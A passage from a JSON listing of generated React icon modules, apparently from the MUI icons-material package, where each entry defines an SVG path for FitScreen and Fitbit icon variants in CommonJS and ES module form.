    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 16h12V8H6zm2-6h8v4H8zm-4 5H2v3c0 1.1.9 2 2 2h3v-2H4zm0-9h3V4H4c-1.1 0-2 .9-2 2v3h2zm16-2h-3v2h3v3h2V6c0-1.1-.9-2-2-2m0 14h-3v2h3c1.1 0 2-.9 2-2v-3h-2z\"\n}), 'FitScreenOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FitScreenOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 16h12V8H6zm2-6h8v4H8zm-4 5H2v3c0 1.1.9 2 2 2h3v-2H4zm0-9h3V4H4c-1.1 0-2 .9-2 2v3h2zm16-2h-3v2h3v3h2V6c0-1.1-.9-2-2-2m0 14h-3v2h3c1.1 0 2-.9 2-2v-3h-2z\"\n}), 'FitScreenOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FitScreenRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 4h2c1.1 0 2 .9 2 2v2c0 .55-.45 1-1 1s-1-.45-1-1V6h-2c-.55 0-1-.45-1-1s.45-1 1-1M4 8V6h2c.55 0 1-.45 1-1s-.45-1-1-1H4c-1.1 0-2 .9-2 2v2c0 .55.45 1 1 1s1-.45 1-1m16 8v2h-2c-.55 0-1 .45-1 1s.45 1 1 1h2c1.1 0 2-.9 2-2v-2c0-.55-.45-1-1-1s-1 .45-1 1M6 18H4v-2c0-.55-.45-1-1-1s-1 .45-1 1v2c0 1.1.9 2 2 2h2c.55 0 1-.45 1-1s-.45-1-1-1M16 8H8c-1.1 0-2 .9-2 2v4c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2v-4c0-1.1-.9-2-2-2\"\n}), 'FitScreenRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FitScreenRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 4h2c1.1 0 2 .9 2 2v2c0 .55-.45 1-1 1s-1-.45-1-1V6h-2c-.55 0-1-.45-1-1s.45-1 1-1M4 8V6h2c.55 0 1-.45 1-1s-.45-1-1-1H4c-1.1 0-2 .9-2 2v2c0 .55.45 1 1 1s1-.45 1-1m16 8v2h-2c-.55 0-1 .45-1 1s.45 1 1 1h2c1.1 0 2-.9 2-2v-2c0-.55-.45-1-1-1s-1 .45-1 1M6 18H4v-2c0-.55-.45-1-1-1s-1 .45-1 1v2c0 1.1.9 2 2 2h2c.55 0 1-.45 1-1s-.45-1-1-1M16 8H8c-1.1 0-2 .9-2 2v4c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2v-4c0-1.1-.9-2-2-2\"\n}), 'FitScreenRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FitScreenSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 4h5v5h-2V6h-3zM4 9V6h3V4H2v5zm16 6v3h-3v2h5v-5zM7 18H4v-3H2v5h5zM18 8H6v8h12z\"\n}), 'FitScreenSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FitScreenSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 4h5v5h-2V6h-3zM4 9V6h3V4H2v5zm16 6v3h-3v2h5v-5zM7 18H4v-3H2v5h5zM18 8H6v8h12z\"\n}), 'FitScreenSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FitScreenTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 10h8v4H8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 16h12V8H6zm2-6h8v4H8zm-4 5H2v3c0 1.1.9 2 2 2h3v-2H4zm0-9h3V4H4c-1.1 0-2 .9-2 2v3h2zm16-2h-3v2h3v3h2V6c0-1.1-.9-2-2-2m0 14h-3v2h3c1.1 0 2-.9 2-2v-3h-2z\"\n}, \"1\")], 'FitScreenTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FitScreenTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 10h8v4H8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 16h12V8H6zm2-6h8v4H8zm-4 5H2v3c0 1.1.9 2 2 2h3v-2H4zm0-9h3V4H4c-1.1 0-2 .9-2 2v3h2zm16-2h-3v2h3v3h2V6c0-1.1-.9-2-2-2m0 14h-3v2h3c1.1 0 2-.9 2-2v-3h-2z\"\n}, \"1\")], 'FitScreenTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Fitbit.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.89 13.89c1.04 0 1.89-.85 1.89-1.89s-.85-1.89-1.89-1.89S18 10.96 18 12s.85 1.89 1.89 1.89m-4.24-.21c.93 0 1.68-.75 1.68-1.68s-.75-1.68-1.68-1.68-1.68.75-1.68 1.68.75 1.68 1.68 1.68m0-4.26c.93 0 1.68-.75 1.68-1.68s-.75-1.68-1.68-1.68-1.68.75-1.68 1.68.75 1.68 1.68 1.68m0 8.51c.93 0 1.68-.75 1.68-1.68s-.75-1.68-1.68-1.68-1.68.75-1.68 1.68c0 .92.75 1.68 1.68 1.68m-4.24-4.46c.81 0 1.47-.66 1.47-1.47s-.66-1.47-1.47-1.47-1.47.66-1.47 1.47.65 1.47 1.47 1.47m0-4.26c.81 0 1.47-.66 1.47-1.47s-.66-1.47-1.47-1.47-1.47.66-1.47 1.47.65 1.47 1.47 1.47m0 8.52c.81 0 1.47-.66 1.47-1.47s-.66-1.47-1.47-1.47-1.47.66-1.47 1.47c-.01.81.65 1.47 1.47 1.47m0 4.27c.81 0 1.47-.66 1.47-1.47s-.66-1.47-1.47-1.47-1.47.66-1.47 1.47c-.01.81.65 1.47 1.47 1.47m0-17.06c.81 0 1.47-.66 1.47-1.47S12.22 2 11.41 2s-1.47.66-1.47 1.47.65 1.47 1.47 1.47m-4.25 8.32c.7 0 1.26-.57 1.26-1.26s-.57-1.26-1.26-1.26c-.7 0-1.26.57-1.26 1.26s.56 1.26 1.26 1.26m0 4.25c.7 0 1.26-.57 1.26-1.26 0-.7-.57-1.26-1.26-1.26-.7 0-1.26.57-1.26 1.26s.56 1.26 1.26 1.26m0-8.49c.7 0 1.26-.57 1.26-1.26 0-.7-.57-1.26-1.26-1.26-.7 0-1.26.57-1.26 1.26s.56 1.26 1.26 1.26m-3.87 4.03c.58 0 1.05-.47 1.05-1.05s-.47-1.05-1.05-1.05-1.05.47-1.05 1.05.47 1.05 1.05 1.05\"\n}), 'Fitbit');"
  },
  {
    "path": "packages/mui-icons-material/lib/Fitbit.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.89 13.89c1.04 0 1.89-.85 1.89-1.89s-.85-1.89-1.89-1.89S18 10.96 18 12s.85 1.89 1.89 1.89m-4.24-.21c.93 0 1.68-.75 1.68-1.68s-.75-1.68-1.68-1.68-1.68.75-1.68 1.68.75 1.68 1.68 1.68m0-4.26c.93 0 1.68-.75 1.68-1.68s-.75-1.68-1.68-1.68-1.68.75-1.68 1.68.75 1.68 1.68 1.68m0 8.51c.93 0 1.68-.75 1.68-1.68s-.75-1.68-1.68-1.68-1.68.75-1.68 1.68c0 .92.75 1.68 1.68 1.68m-4.24-4.46c.81 0 1.47-.66 1.47-1.47s-.66-1.47-1.47-1.47-1.47.66-1.47 1.47.65 1.47 1.47 1.47m0-4.26c.81 0 1.47-.66 1.47-1.47s-.66-1.47-1.47-1.47-1.47.66-1.47 1.47.65 1.47 1.47 1.47m0 8.52c.81 0 1.47-.66 1.47-1.47s-.66-1.47-1.47-1.47-1.47.66-1.47 1.47c-.01.81.65 1.47 1.47 1.47m0 4.27c.81 0 1.47-.66 1.47-1.47s-.66-1.47-1.47-1.47-1.47.66-1.47 1.47c-.01.81.65 1.47 1.47 1.47m0-17.06c.81 0 1.47-.66 1.47-1.47S12.22 2 11.41 2s-1.47.66-1.47 1.47.65 1.47 1.47 1.47m-4.25 8.32c.7 0 1.26-.57 1.26-1.26s-.57-1.26-1.26-1.26c-.7 0-1.26.57-1.26 1.26s.56 1.26 1.26 1.26m0 4.25c.7 0 1.26-.57 1.26-1.26 0-.7-.57-1.26-1.26-1.26-.7 0-1.26.57-1.26 1.26s.56 1.26 1.26 1.26m0-8.49c.7 0 1.26-.57 1.26-1.26 0-.7-.57-1.26-1.26-1.26-.7 0-1.26.57-1.26 1.26s.56 1.26 1.26 1.26m-3.87 4.03c.58 0 1.05-.47 1.05-1.05s-.47-1.05-1.05-1.05-1.05.47-1.05 1.05.47 1.05 1.05 1.05\"\n}), 'Fitbit');"
  },
  {
    "path": "packages/mui-icons-material/lib/FitbitOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.89 13.89c1.04 0 1.89-.85 1.89-1.89s-.85-1.89-1.89-1.89S18 10.96 18 12s.85 1.89 1.89 1.89m-4.24-.21c.93 0 1.68-.75 1.68-1.68s-.75-1.68-1.68-1.68-1.68.75-1.68 1.68.75 1.68 1.68 1.68m0-4.26c.93 0 1.68-.75 1.68-1.68s-.75-1.68-1.68-1.68-1.68.75-1.68 1.68.75 1.68 1.68 1.68m0 8.51c.93 0 1.68-.75 1.68-1.68s-.75-1.68-1.68-1.68-1.68.75-1.68 1.68c0 .92.75 1.68 1.68 1.68m-4.24-4.46c.81 0 1.47-.66 1.47-1.47s-.66-1.47-1.47-1.47-1.47.66-1.47 1.47.65 1.47 1.47 1.47m0-4.26c.81 0 1.47-.66 1.47-1.47s-.66-1.47-1.47-1.47-1.47.66-1.47 1.47.65 1.47 1.47 1.47m0 8.52c.81 0 1.47-.66 1.47-1.47s-.66-1.47-1.47-1.47-1.47.66-1.47 1.47c-.01.81.65 1.47 1.47 1.47m0 4.27c.81 0 1.47-.66 1.47-1.47s-.66-1.47-1.47-1.47-1.47.66-1.47 1.47c-.01.81.65 1.47 1.47 1.47m0-17.06c.81 0 1.47-.66 1.47-1.47S12.22 2 11.41 2s-1.47.66-1.47 1.47.65 1.47 1.47 1.47m-4.25 8.32c.7 0 1.26-.57 1.26-1.26s-.57-1.26-1.26-1.26c-.7 0-1.26.57-1.26 1.26s.56 1.26 1.26 1.26m0 4.25c.7 0 1.26-.57 1.26-1.26 0-.7-.57-1.26-1.26-1.26-.7 0-1.26.57-1.26 1.26s.56 1.26 1.26 1.26m0-8.49c.7 0 1.26-.57 1.26-1.26 0-.7-.57-1.26-1.26-1.26-.7 0-1.26.57-1.26 1.26s.56 1.26 1.26 1.26m-3.87 4.03c.58 0 1.05-.47 1.05-1.05s-.47-1.05-1.05-1.05-1.05.47-1.05 1.05.47 1.05 1.05 1.05\"\n}), 'FitbitOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FitbitOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.89 13.89c1.04 0 1.89-.85 1.89-1.89s-.85-1.89-1.89-1.89S18 10.96 18 12s.85 1.89 1.89 1.89m-4.24-.21c.93 0 1.68-.75 1.68-1.68s-.75-1.68-1.68-1.68-1.68.75-1.68 1.68.75 1.68 1.68 1.68m0-4.26c.93 0 1.68-.75 1.68-1.68s-.75-1.68-1.68-1.68-1.68.75-1.68 1.68.75 1.68 1.68 1.68m0 8.51c.93 0 1.68-.75 1.68-1.68s-.75-1.68-1.68-1.68-1.68.75-1.68 1.68c0 .92.75 1.68 1.68 1.68m-4.24-4.46c.81 0 1.47-.66 1.47-1.47s-.66-1.47-1.47-1.47-1.47.66-1.47 1.47.65 1.47 1.47 1.47m0-4.26c.81 0 1.47-.66 1.47-1.47s-.66-1.47-1.47-1.47-1.47.66-1.47 1.47.65 1.47 1.47 1.47m0 8.52c.81 0 1.47-.66 1.47-1.47s-.66-1.47-1.47-1.47-1.47.66-1.47 1.47c-.01.81.65 1.47 1.47 1.47m0 4.27c.81 0 1.47-.66 1.47-1.47s-.66-1.47-1.47-1.47-1.47.66-1.47 1.47c-.01.81.65 1.47 1.47 1.47m0-17.06c.81 0 1.47-.66 1.47-1.47S12.22 2 11.41 2s-1.47.66-1.47 1.47.65 1.47 1.47 1.47m-4.25 8.32c.7 0 1.26-.57 1.26-1.26s-.57-1.26-1.26-1.26c-.7 0-1.26.57-1.26 1.26s.56 1.26 1.26 1.26m0 4.25c.7 0 1.26-.57 1.26-1.26 0-.7-.57-1.26-1.26-1.26-.7 0-1.26.57-1.26 1.26s.56 1.26 1.26 1.26m0-8.49c.7 0 1.26-.57 1.26-1.26 0-.7-.57-1.26-1.26-1.26-.7 0-1.26.57-1.26 1.26s.56 1.26 1.26 1.26m-3.87 4.03c.58 0 1.05-.47 1.05-1.05s-.47-1.05-1.05-1.05-1.05.47-1.05 1.05.47 1.05 1.05 1.05\"\n}), 'FitbitOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FitbitRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.89 13.89c1.04 0 1.89-.85 1.89-1.89s-.85-1.89-1.89-1.89S18 10.96 18 12s.85 1.89 1.89 1.89m-4.24-.21c.93 0 1.68-.75 1.68-1.68s-.75-1.68-1.68-1.68-1.68.75-1.68 1.68.75 1.68 1.68 1.68m0-4.26c.93 0 1.68-.75 1.68-1.68s-.75-1.68-1.68-1.68-1.68.75-1.68 1.68.75 1.68 1.68 1.68m0 8.51c.93 0 1.68-.75 1.68-1.68s-.75-1.68-1.68-1.68-1.68.75-1.68 1.68c0 .92.75 1.68 1.68 1.68m-4.24-4.46c.81 0 1.47-.66 1.47-1.47s-.66-1.47-1.47-1.47-1.47.66-1.47 1.47.65 1.47 1.47 1.47m0-4.26c.81 0 1.47-.66 1.47-1.47s-.66-1.47-1.47-1.47-1.47.66-1.47 1.47.65 1.47 1.47 1.47m0 8.52c.81 0 1.47-.66 1.47-1.47s-.66-1.47-1.47-1.47-1.47.66-1.47 1.47c-.01.81.65 1.47 1.47 1.47m0 4.27c.81 0 1.47-.66 1.47-1.47s-.66-1.47-1.47-1.47-1.47.66-1.47 1.47c-.01.81.65 1.47 1.47 1.47m0-17.06c.81 0 1.47-.66 1.47-1.47S12.22 2 11.41 2s-1.47.66-1.47 1.47.65 1.47 1.47 1.47m-4.25 8.32c.7 0 1.26-.57 1.26-1.26s-.57-1.26-1.26-1.26c-.7 0-1.26.57-1.26 1.26s.56 1.26 1.26 1.26m0 4.25c.7 0 1.26-.57 1.26-1.26 0-.7-.57-1.26-1.26-1.26-.7 0-1.26.57-1.26 1.26s.56 1.26 1.26 1.26m0-8.49c.7 0 1.26-.57 1.26-1.26 0-.7-.57-1.26-1.26-1.26-.7 0-1.26.57-1.26 1.26s.56 1.26 1.26 1.26m-3.87 4.03c.58 0 1.05-.47 1.05-1.05s-.47-1.05-1.05-1.05-1.05.47-1.05 1.05.47 1.05 1.05 1.05\"\n}), 'FitbitRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FitbitRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.89 13.89c1.04 0 1.89-.85 1.89-1.89s-.85-1.89-1.89-1.89S18 10.96 18 12s.85 1.89 1.89 1.89m-4.24-.21c.93 0 1.68-.75 1.68-1.68s-.75-1.68-1.68-1.68-1.68.75-1.68 1.68.75 1.68 1.68 1.68m0-4.26c.93 0 1.68-.75 1.68-1.68s-.75-1.68-1.68-1.68-1.68.75-1.68 1.68.75 1.68 1.68 1.68m0 8.51c.93 0 1.68-.75 1.68-1.68s-.75-1.68-1.68-1.68-1.68.75-1.68 1.68c0 .92.75 1.68 1.68 1.68m-4.24-4.46c.81 0 1.47-.66 1.47-1.47s-.66-1.47-1.47-1.47-1.47.66-1.47 1.47.65 1.47 1.47 1.47m0-4.26c.81 0 1.47-.66 1.47-1.47s-.66-1.47-1.47-1.47-1.47.66-1.47 1.47.65 1.47 1.47 1.47m0 8.52c.81 0 1.47-.66 1.47-1.47s-.66-1.47-1.47-1.47-1.47.66-1.47 1.47c-.01.81.65 1.47 1.47 1.47m0 4.27c.81 0 1.47-.66 1.47-1.47s-.66-1.47-1.47-1.47-1.47.66-1.47 1.47c-.01.81.65 1.47 1.47 1.47m0-17.06c.81 0 1.47-.66 1.47-1.47S12.22 2 11.41 2s-1.47.66-1.47 1.47.65 1.47 1.47 1.47m-4.25 8.32c.7 0 1.26-.57 1.26-1.26s-.57-1.26-1.26-1.26c-.7 0-1.26.57-1.26 1.26s.56 1.26 1.26 1.26m0 4.25c.7 0 1.26-.57 1.26-1.26 0-.7-.57-1.26-1.26-1.26-.7 0-1.26.57-1.26 1.26s.56 1.26 1.26 1.26m0-8.49c.7 0 1.26-.57 1.26-1.26 0-.7-.57-1.26-1.26-1.26-.7 0-1.26.57-1.26 1.26s.56 1.26 1.26 1.26m-3.87 4.03c.58 0 1.05-.47 1.05-1.05s-.47-1.05-1.05-1.05-1.05.47-1.05 1.05.47 1.05 1.05 1.05\"\n}), 'FitbitRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FitbitSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.89 13.89c1.04 0 1.89-.85 1.89-1.89s-.85-1.89-1.89-1.89S18 10.96 18 12s.85 1.89 1.89 1.89m-4.24-.21c.93 0 1.68-.75 1.68-1.68s-.75-1.68-1.68-1.68-1.68.75-1.68 1.68.75 1.68 1.68 1.68m0-4.26c.93 0 1.68-.75 1.68-1.68s-.75-1.68-1.68-1.68-1.68.75-1.68 1.68.75 1.68 1.68 1.68m0 8.51c.93 0 1.68-.75 1.68-1.68s-.75-1.68-1.68-1.68-1.68.75-1.68 1.68c0 .92.75 1.68 1.68 1.68m-4.24-4.46c.81 0 1.47-.66 1.47-1.47s-.66-1.47-1.47-1.47-1.47.66-1.47 1.47.65 1.47 1.47 1.47m0-4.26c.81 0 1.47-.66 1.47-1.47s-.66-1.47-1.47-1.47-1.47.66-1.47 1.47.65 1.47 1.47 1.47m0 8.52c.81 0 1.47-.66 1.47-1.47s-.66-1.47-1.47-1.47-1.47.66-1.47 1.47c-.01.81.65 1.47 1.47 1.47m0 4.27c.81 0 1.47-.66 1.47-1.47s-.66-1.47-1.47-1.47-1.47.66-1.47 1.47c-.01.81.65 1.47 1.47 1.47m0-17.06c.81 0 1.47-.66 1.47-1.47S12.22 2 11.41 2s-1.47.66-1.47 1.47.65 1.47 1.47 1.47m-4.25 8.32c.7 0 1.26-.57 1.26-1.26s-.57-1.26-1.26-1.26c-.7 0-1.26.57-1.26 1.26s.56 1.26 1.26 1.26m0 4.25c.7 0 1.26-.57 1.26-1.26 0-.7-.57-1.26-1.26-1.26-.7 0-1.26.57-1.26 1.26s.56 1.26 1.26 1.26m0-8.49c.7 0 1.26-.57 1.26-1.26 0-.7-.57-1.26-1.26-1.26-.7 0-1.26.57-1.26 1.26s.56 1.26 1.26 1.26m-3.87 4.03c.58 0 1.05-.47 1.05-1.05s-.47-1.05-1.05-1.05-1.05.47-1.05 1.05.47 1.05 1.05 1.05\"\n}), 'FitbitSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FitbitSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.89 13.89c1.04 0 1.89-.85 1.89-1.89s-.85-1.89-1.89-1.89S18 10.96 18 12s.85 1.89 1.89 1.89m-4.24-.21c.93 0 1.68-.75 1.68-1.68s-.75-1.68-1.68-1.68-1.68.75-1.68 1.68.75 1.68 1.68 1.68m0-4.26c.93 0 1.68-.75 1.68-1.68s-.75-1.68-1.68-1.68-1.68.75-1.68 1.68.75 1.68 1.68 1.68m0 8.51c.93 0 1.68-.75 1.68-1.68s-.75-1.68-1.68-1.68-1.68.75-1.68 1.68c0 .92.75 1.68 1.68 1.68m-4.24-4.46c.81 0 1.47-.66 1.47-1.47s-.66-1.47-1.47-1.47-1.47.66-1.47 1.47.65 1.47 1.47 1.47m0-4.26c.81 0 1.47-.66 1.47-1.47s-.66-1.47-1.47-1.47-1.47.66-1.47 1.47.65 1.47 1.47 1.47m0 8.52c.81 0 1.47-.66 1.47-1.47s-.66-1.47-1.47-1.47-1.47.66-1.47 1.47c-.01.81.65 1.47 1.47 1.47m0 4.27c.81 0 1.47-.66 1.47-1.47s-.66-1.47-1.47-1.47-1.47.66-1.47 1.47c-.01.81.65 1.47 1.47 1.47m0-17.06c.81 0 1.47-.66 1.47-1.47S12.22 2 11.41 2s-1.47.66-1.47 1.47.65 1.47 1.47 1.47m-4.25 8.32c.7 0 1.26-.57 1.26-1.26s-.57-1.26-1.26-1.26c-.7 0-1.26.57-1.26 1.26s.56 1.26 1.26 1.26m0 4.25c.7 0 1.26-.57 1.26-1.26 0-.7-.57-1.26-1.26-1.26-.7 0-1.26.57-1.26 1.26s.56 1.26 1.26 1.26m0-8.49c.7 0 1.26-.57 1.26-1.26 0-.7-.57-1.26-1.26-1.26-.7 0-1.26.57-1.26 1.26s.56 1.26 1.26 1.26m-3.87 4.03c.58 0 1.05-.47 1.05-1.05s-.47-1.05-1.05-1.05-1.05.47-1.05 1.05.47 1.05 1.05 1.05\"\n}), 'FitbitSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FitbitTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.89 13.89c1.04 0 1.89-.85 1.89-1.89s-.85-1.89-1.89-1.89S18 10.96 18 12s.85 1.89 1.89 1.89m-4.24-.21c.93 0 1.68-.75 1.68-1.68s-.75-1.68-1.68-1.68-1.68.75-1.68 1.68.75 1.68 1.68 1.68m0-4.26c.93 0 1.68-.75 1.68-1.68s-.75-1.68-1.68-1.68-1.68.75-1.68 1.68.75 1.68 1.68 1.68m0 8.51c.93 0 1.68-.75 1.68-1.68s-.75-1.68-1.68-1.68-1.68.75-1.68 1.68c0 .92.75 1.68 1.68 1.68m-4.24-4.46c.81 0 1.47-.66 1.47-1.47s-.66-1.47-1.47-1.47-1.47.66-1.47 1.47.65 1.47 1.47 1.47m0-4.26c.81 0 1.47-.66 1.47-1.47s-.66-1.47-1.47-1.47-1.47.66-1.47 1.47.65 1.47 1.47 1.47m0 8.52c.81 0 1.47-.66 1.47-1.47s-.66-1.47-1.47-1.47-1.47.66-1.47 1.47c-.01.81.65 1.47 1.47 1.47m0 4.27c.81 0 1.47-.66 1.47-1.47s-.66-1.47-1.47-1.47-1.47.66-1.47 1.47c-.01.81.65 1.47 1.47 1.47m0-17.06c.81 0 1.47-.66 1.47-1.47S12.22 2 11.41 2s-1.47.66-1.47 1.47.65 1.47 1.47 1.47m-4.25 8.32c.7 0 1.26-.57 1.26-1.26s-.57-1.26-1.26-1.26c-.7 0-1.26.57-1.26 1.26s.56 1.26 1.26 1.26m0 4.25c.7 0 1.26-.57 1.26-1.26 0-.7-.57-1.26-1.26-1.26-.7 0-1.26.57-1.26 1.26s.56 1.26 1.26 1.26m0-8.49c.7 0 1.26-.57 1.26-1.26 0-.7-.57-1.26-1.26-1.26-.7 0-1.26.57-1.26 1.26s.56 1.26 1.26 1.26m-3.87 4.03c.58 0 1.05-.47 1.05-1.05s-.47-1.05-1.05-1.05-1.05.47-1.05 1.05.47 1.05 1.05 1.05\"\n}), 'FitbitTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FitbitTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.89 13.89c1.04 0 1.89-.85 1.89-1.89s-.85-1.89-1.89-1.89S18 10.96 18 12s.85 1.89 1.89 1.89m-4.24-.21c.93 0 1.68-.75 1.68-1.68s-.75-1.68-1.68-1.68-1.68.75-1.68 1.68.75 1.68 1.68 1.68m0-4.26c.93 0 1.68-.75 1.68-1.68s-.75-1.68-1.68-1.68-1.68.75-1.68 1.68.75 1.68 1.68 1.68m0 8.51c.93 0 1.68-.75 1.68-1.68s-.75-1.68-1.68-1.68-1.68.75-1.68 1.68c0 .92.75 1.68 1.68 1.68m-4.24-4.46c.81 0 1.47-.66 1.47-1.47s-.66-1.47-1.47-1.47-1.47.66-1.47 1.47.65 1.47 1.47 1.47m0-4.26c.81 0 1.47-.66 1.47-1.47s-.66-1.47-1.47-1.47-1.47.66-1.47 1.47.65 1.47 1.47 1.47m0 8.52c.81 0 1.47-.66 1.47-1.47s-.66-1.47-1.47-1.47-1.47.66-1.47 1.47c-.01.81.65 1.47 1.47 1.47m0 4.27c.81 0 1.47-.66 